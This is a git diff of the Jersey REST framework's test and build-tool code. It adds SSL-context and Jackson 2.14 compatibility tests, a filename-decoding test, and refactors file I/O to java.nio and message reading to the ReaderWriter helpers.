a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java index b3a17f3e79..529b93baac 100644 --- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java +++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -46,6 +46,7 @@ import org.glassfish.jersey.internal.ServiceFinderBinder; import org.glassfish.jersey.internal.inject.AbstractBinder; import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider; +import org.glassfish.jersey.message.internal.ReaderWriter; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; @@ -145,7 +146,7 @@ public UselessMessage readFrom( MediaType mediaType, MultivaluedMap httpHeaders, InputStream entityStream) throws IOException { - return new UselessMessage(readFromAsString(entityStream, mediaType)); + return new UselessMessage(ReaderWriter.readFromAsString(entityStream, mediaType)); } @Override @@ -167,7 +168,7 @@ public void writeTo( MediaType mediaType, MultivaluedMap httpHeaders, OutputStream entityStream) throws IOException { - writeToAsString(t.getMessage(), entityStream, mediaType); + ReaderWriter.writeToAsString(t.getMessage(), entityStream, mediaType); } } // class UselessMessageBodyWriter diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/SingletonProviderTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/SingletonProviderTest.java index c0b49d5579..1aa0a65218 100644 --- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/SingletonProviderTest.java +++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/SingletonProviderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -40,6 +40,7 @@ import jakarta.ws.rs.ext.Provider; import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider; +import org.glassfish.jersey.message.internal.ReaderWriter; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.spi.ContextResolvers; import org.glassfish.jersey.test.JerseyTest; @@ -224,7 +225,7 @@ public String readFrom( MediaType mediaType, MultivaluedMap httpHeaders, InputStream entityStream) throws IOException { - return readFromAsString(entityStream, mediaType) + this + ":" + readerCounter++; + return ReaderWriter.readFromAsString(entityStream, mediaType) + this + ":" + readerCounter++; } @Override @@ -246,7 +247,7 @@ public void writeTo( MediaType mediaType, MultivaluedMap httpHeaders, OutputStream entityStream) throws IOException { - writeToAsString(t + this + ":" + counter++, entityStream, mediaType); + ReaderWriter.writeToAsString(t + this + ":" + counter++, entityStream, mediaType); } } } diff --git a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SslContextPerRequestTest.java b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SslContextPerRequestTest.java new file mode 100644 index 0000000000..944f284459 --- /dev/null +++ b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SslContextPerRequestTest.java @@ -0,0 +1,210 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.e2e.tls; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.HttpUrlConnectorProvider; +import org.glassfish.jersey.client.RequestEntityProcessing; +import org.glassfish.jersey.client.SslContextClientBuilder; +import org.glassfish.jersey.client.spi.ConnectorProvider; +import org.glassfish.jersey.netty.connector.NettyClientProperties; +import org.glassfish.jersey.netty.connector.NettyConnectorProvider; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory; +import org.glassfish.jersey.test.spi.TestContainerFactory; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.MethodSource; + +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLParameters; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Invocation; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.UriBuilder; +import java.io.InputStream; +import java.net.URI; +import java.security.KeyStore; +import java.security.NoSuchAlgorithmException; +import java.util.Optional; +import java.util.function.Supplier; +import java.util.stream.Stream; + +public class SslContextPerRequestTest extends JerseyTest { + + private SSLContext serverSslContext; + private SSLParameters serverSslParameters; + private static final String MESSAGE = "Message for Netty with SSL"; + + @Override + protected TestContainerFactory getTestContainerFactory() { + return new GrizzlyTestContainerFactory(); + } + + @Path("secure") + public static class TestResource { + @GET + public String get(@Context HttpHeaders headers) { + return MESSAGE; + } + } + + @Override + protected Application configure() { + return new ResourceConfig(TestResource.class); + } + + @Override + protected URI getBaseUri() { + return UriBuilder + .fromUri("https://localhost") + .port(getPort()) + .build(); + } + + @Override + protected Optional getSslContext() { + if (serverSslContext == null) { + serverSslContext = SslUtils.createServerSslContext(); + } + + return Optional.of(serverSslContext); + } + + @Override + protected Optional getSslParameters() { + if (serverSslParameters == null) { + serverSslParameters = new SSLParameters(); + serverSslParameters.setNeedClientAuth(false); + } + + return Optional.of(serverSslParameters); + } + + public static Stream connectorProviders() { + return Stream.of( + new HttpUrlConnectorProvider(), + new NettyConnectorProvider() + ); + } + + @ParameterizedTest + @MethodSource("connectorProviders") + public void sslOnRequestTest(ConnectorProvider connectorProvider) throws NoSuchAlgorithmException { + Supplier clientSslContext = SslUtils.createClientSslContext(); + + ClientConfig config = new ClientConfig(); + config.connectorProvider(connectorProvider); + config.property(ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.BUFFERED); + + Client client = ClientBuilder.newBuilder().withConfig(config).build(); + + WebTarget target = client.target(getBaseUri()).path("secure"); + + String s; + + s = target.request() + .property(ClientProperties.SSL_CONTEXT_SUPPLIER, clientSslContext) + .get(String.class); + Assertions.assertEquals(MESSAGE, s); + + try { + Invocation.Builder builder = target.request() + .property(ClientProperties.SSL_CONTEXT_SUPPLIER, + new SslContextClientBuilder().sslContext(SSLContext.getDefault())); + + if (NettyConnectorProvider.class.isInstance(connectorProvider)) { + builder = builder.header(HttpHeaders.HOST, "TestHost"); // New Netty channel without SSL yet + } + s = builder.get(String.class); + Assertions.fail("The SSL Exception has not been thrown"); + } catch (ProcessingException pe) { + // expected + } + + s = target.request() + .property(ClientProperties.SSL_CONTEXT_SUPPLIER, clientSslContext) + .get(String.class); + Assertions.assertEquals(MESSAGE, s); + } + + @ParameterizedTest + @MethodSource("connectorProviders") + public void testSslOnClient(ConnectorProvider connectorProvider) { + Supplier clientSslContext = SslUtils.createClientSslContext(); + + ClientConfig config = new ClientConfig(); + config.connectorProvider(connectorProvider); + + Client client = ClientBuilder.newBuilder().withConfig(config) + .sslContext(clientSslContext.get()) + .build(); + + WebTarget target = client.target(getBaseUri()).path("secure"); + + String s = target.request().get(String.class); + Assertions.assertEquals(MESSAGE, s); + } + + private static class SslUtils { + + private static final String SERVER_IDENTITY_PATH = "server-identity.jks"; + private static final char[] SERVER_IDENTITY_PASSWORD = "secret".toCharArray(); + + private static final String CLIENT_TRUSTSTORE_PATH = "client-truststore.jks"; + private static final char[] CLIENT_TRUSTSTORE_PASSWORD = "secret".toCharArray(); + + private static final String KEYSTORE_TYPE = "PKCS12"; + + private SslUtils() {} + + public static SSLContext createServerSslContext() { + return new SslContextClientBuilder() + .keyStore(getKeyStore(SERVER_IDENTITY_PATH, SERVER_IDENTITY_PASSWORD), SERVER_IDENTITY_PASSWORD) + .get(); + } + + public static Supplier createClientSslContext() { + return new SslContextClientBuilder() + .trustStore(getKeyStore(CLIENT_TRUSTSTORE_PATH, CLIENT_TRUSTSTORE_PASSWORD)); + + } + + private static KeyStore getKeyStore(String path, char[] keyStorePassword) { + try (InputStream inputStream = getResource(path)) { + KeyStore keyStore = KeyStore.getInstance(KEYSTORE_TYPE); + keyStore.load(inputStream, keyStorePassword); + return keyStore; + } catch (Exception e) { + throw new ProcessingException(e); + } + } + + private static InputStream getResource(String path) { + return SslUtils.class.getClassLoader().getResourceAsStream(path); + } + } +} diff --git a/tests/e2e-tls/src/test/resources/client-truststore.jks b/tests/e2e-tls/src/test/resources/client-truststore.jks new file mode 100644 index 0000000000..539185fda4 Binary files /dev/null and b/tests/e2e-tls/src/test/resources/client-truststore.jks differ diff --git a/tests/e2e-tls/src/test/resources/server-identity.jks b/tests/e2e-tls/src/test/resources/server-identity.jks new file mode 100644 index 0000000000..76a21aaedd Binary files /dev/null and b/tests/e2e-tls/src/test/resources/server-identity.jks differ diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java index f54685fe63..c4bcd53d21 100644 --- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java +++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -102,7 +102,7 @@ public void testToString() { @Test public void testFileNameExt() { final String fileName = "test.file"; - String fileNameExt; + String fileNameExt = null; String encodedFilename; try { //incorrect fileNameExt - does not contain charset'' @@ -217,14 +217,31 @@ public void testFileNameExt() { assertFileNameExt(fileNameExt, fileName, fileNameExt); } catch (ParseException ex) { - fail(ex.getMessage()); + fail(ex.getMessage() + " for " + fileNameExt); } } + @Test + void testDecoding() throws ParseException { + final String fileName = "Ueberflieger.jpg"; + final String extendedFilename = "UTF-8'de'%C3%9Cberflieger.jpg"; + assertFileNameExt("Überflieger.jpg", fileName, extendedFilename, true); + } + + private void assertFileNameExt( final String expectedFileName, final String actualFileName, final String actualFileNameExt + ) throws ParseException { + assertFileNameExt(expectedFileName, actualFileName, actualFileNameExt, false); + } + + private void assertFileNameExt( + final String expectedFileName, + final String actualFileName, + final String actualFileNameExt, + final boolean decode ) throws ParseException { final Date date = new Date(); final String dateString = HttpDateFormat.getPreferredDateFormat().format(date); @@ -233,7 +250,7 @@ private void assertFileNameExt( + dateString + "\";size=1222" + ";name=\"testData\";" + "filename*=\""; final String header = prefixHeader + actualFileNameExt + "\""; final ContentDisposition contentDisposition = new ContentDisposition(HttpHeaderReader.newInstance(header), true); - assertEquals(expectedFileName, contentDisposition.getFileName()); + assertEquals(expectedFileName, contentDisposition.getFileName(decode)); } protected void assertContentDisposition(final ContentDisposition contentDisposition, Date date) { diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/UnsafeCharsInUriTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/UnsafeCharsInUriTest.java index 62d71cae21..6b0fcdabdd 100644 --- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/UnsafeCharsInUriTest.java +++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/UnsafeCharsInUriTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,7 +24,7 @@ import java.io.PrintWriter; import java.net.Socket; import java.net.URI; -import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import jakarta.ws.rs.DefaultValue; import jakarta.ws.rs.GET; @@ -78,7 +78,7 @@ public void testSpecCharsInUriWithSockets() throws IOException { // quotes are encoded by browsers, curly brackets are not, so the quotes will be sent pre-encoded // HTTP 1.0 is used for simplicity String response = sendGetRequestOverSocket(getBaseUri(), "GET /app/test?msg={%22foo%22:%22bar%22} HTTP/1.0"); - assertArrayEquals("{\"foo\":\"bar\"}".getBytes(Charset.forName("ISO-8859-1")), response.getBytes()); + assertArrayEquals("{\"foo\":\"bar\"}".getBytes(StandardCharsets.ISO_8859_1), response.getBytes()); } @Test @@ -89,7 +89,7 @@ public void testSecialCharsInQueryParam() throws IOException { String response = sendGetRequestOverSocket(getBaseUri(), "GET /app/test?msg=Hello\\World+With+SpecChars+§*)$!±@-_=;`:\\,~| HTTP/1.0"); - assertArrayEquals("Hello\\World With SpecChars §*)$!±@-_=;`:\\,~|".getBytes(Charset.forName("ISO-8859-1")), + assertArrayEquals("Hello\\World With SpecChars §*)$!±@-_=;`:\\,~|".getBytes(StandardCharsets.ISO_8859_1), response.getBytes()); } @@ -99,14 +99,14 @@ private String sendGetRequestOverSocket(final URI baseUri, final String requestL final Socket socket = new Socket(baseUri.getHost(), baseUri.getPort()); final PrintWriter pw = new PrintWriter( - new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), Charset.forName("ISO-8859-1")))); + new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), StandardCharsets.ISO_8859_1))); pw.println(requestLine); pw.println(); // http request should end with a blank line pw.flush(); final BufferedReader br = - new BufferedReader(new InputStreamReader(socket.getInputStream(), Charset.forName("UTF-8"))); + new BufferedReader(new InputStreamReader(socket.getInputStream(), StandardCharsets.UTF_8)); String lastLine = null; String line; diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/ProvidersOrderingTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/ProvidersOrderingTest.java index 7cab7f8735..6a8ae472fa 100644 --- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/ProvidersOrderingTest.java +++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/ProvidersOrderingTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -45,6 +45,7 @@ import org.glassfish.jersey.message.MessageBodyWorkers; import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider; +import org.glassfish.jersey.message.internal.ReaderWriter; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; @@ -403,7 +404,7 @@ public byte[] readFrom( MultivaluedMap httpHeaders, InputStream entityStream) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); - writeTo(entityStream, out); + ReaderWriter.writeTo(entityStream, out); counter++; return out.toByteArray(); } diff --git a/tests/integration/jackson-14/pom.xml b/tests/integration/jackson-14/pom.xml new file mode 100644 index 0000000000..0ef4f0385e --- /dev/null +++ b/tests/integration/jackson-14/pom.xml @@ -0,0 +1,117 @@ + + + + + + project + org.glassfish.jersey.tests.integration + 3.0.99-SNAPSHOT + + 4.0.0 + + jackson-14 + jersey-compatibility-jackson14 + + Controls the backward compatibility with Jackson 2.14 environment + + + + 2.14.1 + + + + + + org.apache.maven.plugins + maven-enforcer-plugin + ${enforcer.mvn.plugin.version} + + + enforce-versions + + enforce + + + false + + + + + + + + + + + org.glassfish.jersey.core + jersey-common + + + org.glassfish.jersey.core + jersey-client + test + + + org.glassfish.jersey.media + jersey-media-json-jackson + + + com.fasterxml.jackson.core + jackson-annotations + + + com.fasterxml.jackson.core + jackson-databind + + + com.fasterxml.jackson.core + jackson-core + + + + + com.fasterxml.jackson.core + jackson-annotations + ${jackson14.version} + + + com.fasterxml.jackson.core + jackson-databind + ${jackson14.version} + + + com.fasterxml.jackson.core + jackson-core + ${jackson14.version} + + + org.junit.jupiter + junit-jupiter + test + + + org.hamcrest + hamcrest + test + + + + \ No newline at end of file diff --git a/tests/integration/jackson-14/src/test/java/org/glassfish/jersey/integration/jackson14/Jackson14DependencyTest.java b/tests/integration/jackson-14/src/test/java/org/glassfish/jersey/integration/jackson14/Jackson14DependencyTest.java new file mode 100644 index 0000000000..f05be4945e --- /dev/null +++ b/tests/integration/jackson-14/src/test/java/org/glassfish/jersey/integration/jackson14/Jackson14DependencyTest.java @@ -0,0 +1,54 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.integration.jackson14; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.TextNode; +import org.glassfish.jersey.jackson.JacksonFeature; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.io.IOException; + +public class Jackson14DependencyTest { + + @Test + void testJackson15Feature() { + try (Response response = ClientBuilder.newClient() + .register(JacksonFeature.withExceptionMappers().maxStringLength(3)) + .register(new ClientRequestFilter() { + @Override + public void filter(ClientRequestContext requestContext) throws IOException { + requestContext.abortWith(Response.ok(new TextNode("12345")) + .header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_TYPE) + .build()); + } + }) + .target("http://localhost:8080") + .request().get()) { + Assertions.assertEquals(200, response.getStatus()); + JsonNode node = response.readEntity(JsonNode.class); + Assertions.assertEquals("12345", node.asText()); // Jackson 15 throws ProcessingException + } + } +} diff --git a/tests/integration/pom.xml b/tests/integration/pom.xml index 7e5c7267dc..4a5c0f2d24 100644 --- a/tests/integration/pom.xml +++ b/tests/integration/pom.xml @@ -42,6 +42,7 @@ j-376 j-441 j-59 + jackson-14 jersey-2136 jersey-2137 jersey-2154 diff --git a/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java b/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java index 342100ec98..05391bca47 100644 --- a/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java +++ b/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,7 +16,6 @@ package org.glassfish.jersey.tests.performance.jmxclient; -import java.io.FileOutputStream; import java.io.IOException; import java.util.Properties; import javax.management.MBeanServerConnection; @@ -81,6 +80,6 @@ public static void main(String[] args) throws Exception { private static void writeResult(double resultValue, String propertiesFile) throws IOException { Properties resultProps = new Properties(); resultProps.put("YVALUE", Double.toString(resultValue)); - resultProps.store(new FileOutputStream(propertiesFile), null); + resultProps.store(Files.newOutputStream(Paths.get(propertiesFile)), null); } } diff --git a/tests/performance/tools/src/main/java/org/glassfish/jersey/tests/performance/tools/TestDataGeneratorApp.java b/tests/performance/tools/src/main/java/org/glassfish/jersey/tests/performance/tools/TestDataGeneratorApp.java index 351881aa94..050f07d8a9 100644 --- a/tests/performance/tools/src/main/java/org/glassfish/jersey/tests/performance/tools/TestDataGeneratorApp.java +++ b/tests/performance/tools/src/main/java/org/glassfish/jersey/tests/performance/tools/TestDataGeneratorApp.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,11 +18,11 @@ import java.io.BufferedWriter; import java.io.File; -import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStreamWriter; import java.net.URI; import java.nio.charset.Charset; +import java.nio.file.Files; import java.util.HashMap; import java.util.Map; import java.util.logging.Level; @@ -134,7 +134,7 @@ public static void generateFile(final String resourceRelativeUrl, final int mini final File file = new File(fileName); final BufferedWriter writer = new BufferedWriter(new OutputStreamWriter( - new FileOutputStream(file), Charset.forName("UTF-8"))); + Files.newOutputStream(file.toPath()), Charset.forName("UTF-8"))); int actualSize = 0; while (actualSize < minimalSize) { diff --git a/tests/release-test/src/main/java/org/glassfish/jersey/test/artifacts/MavenUtil.java b/tests/release-test/src/main/java/org/glassfish/jersey/test/artifacts/MavenUtil.java index 68d0a14159..20e77377b7 100644 --- a/tests/release-test/src/main/java/org/glassfish/jersey/test/artifacts/MavenUtil.java +++ b/tests/release-test/src/main/java/org/glassfish/jersey/test/artifacts/MavenUtil.java @@ -23,8 +23,9 @@ import org.codehaus.plexus.util.xml.pull.XmlPullParserException; import java.io.File; -import java.io.FileReader; import java.io.IOException; +import java.io.Reader; +import java.nio.file.Files; import java.util.Collections; import java.util.List; import java.util.Properties; @@ -115,7 +116,7 @@ static Model getModelFromFile(String fileName) throws IOException, XmlPullParser private static Model getModelFromFile(File file) throws IOException, XmlPullParserException { MavenXpp3Reader mavenReader = new MavenXpp3Reader(); - try (FileReader fileReader = new FileReader(file)) { + try (Reader fileReader = Files.newBufferedReader(file.toPath())) { Model model = mavenReader.read(fileReader); return model; } diff --git a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/NoticeFilesTest.java b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/NoticeFilesTest.java index 6cda5289db..fe337428bb 100644 --- a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/NoticeFilesTest.java +++ b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/NoticeFilesTest.java @@ -24,8 +24,8 @@ import jakarta.ws.rs.core.MediaType; import java.io.File; -import java.io.FileInputStream; import java.io.IOException; +import java.nio.file.Files; import java.util.LinkedList; import java.util.List; import java.util.StringTokenizer; @@ -154,7 +154,7 @@ private StringTokenizer tokenizerFromNoticeFile(File path) throws IOException { } private String getFile(File path) throws IOException { - return ReaderWriter.readFromAsString(new FileInputStream(path), MediaType.TEXT_PLAIN_TYPE); + return ReaderWriter.readFromAsString(Files.newInputStream(path.toPath()), MediaType.TEXT_PLAIN_TYPE); } private String removeUnnecessary(String dependency) { diff --git a/tools/jersey-doc-modulelist-maven-plugin/pom.xml b/tools/jersey-doc-modulelist-maven-plugin/pom.xml index b316d42e0c..53df1f1f5d 100644 --- a/tools/jersey-doc-modulelist-maven-plugin/pom.xml +++ b/tools/jersey-doc-modulelist-maven-plugin/pom.xml @@ -108,7 +108,7 @@ 1.8 - 3.6.3 + 3.8.1 3.0.1 diff --git a/tools/jersey-doc-modulelist-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/GenerateJerseyModuleListMojo.java b/tools/jersey-doc-modulelist-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/GenerateJerseyModuleListMojo.java index f284074e60..d81fce3ca0 100644 --- a/tools/jersey-doc-modulelist-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/GenerateJerseyModuleListMojo.java +++ b/tools/jersey-doc-modulelist-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/GenerateJerseyModuleListMojo.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -28,10 +28,11 @@ import org.apache.maven.project.MavenProject; import java.io.BufferedReader; +import java.io.File; import java.io.FileNotFoundException; -import java.io.FileReader; import java.io.IOException; import java.io.PrintWriter; +import java.nio.file.Files; import java.util.Collections; import java.util.Comparator; import java.util.HashMap; @@ -314,7 +315,7 @@ public void setLog(org.apache.maven.plugin.logging.Log log) { } public String readFile(String fileName) throws IOException { - BufferedReader reader = new BufferedReader(new FileReader(fileName)); + BufferedReader reader = Files.newBufferedReader(new File(fileName).toPath()); String s; StringBuilder sb = new StringBuilder(); while ((s = reader.readLine()) != null) { diff --git a/tools/jersey-release-notes-maven-plugin/pom.xml b/tools/jersey-release-notes-maven-plugin/pom.xml index 195212a07c..e1f80910ea 100644 --- a/tools/jersey-release-notes-maven-plugin/pom.xml +++ b/tools/jersey-release-notes-maven-plugin/pom.xml @@ -79,7 +79,7 @@ org.apache.maven maven-compat - 3.6.0 + 3.8.1 test @@ -127,6 +127,6 @@ 1.8 - 3.6.2 + 3.8.1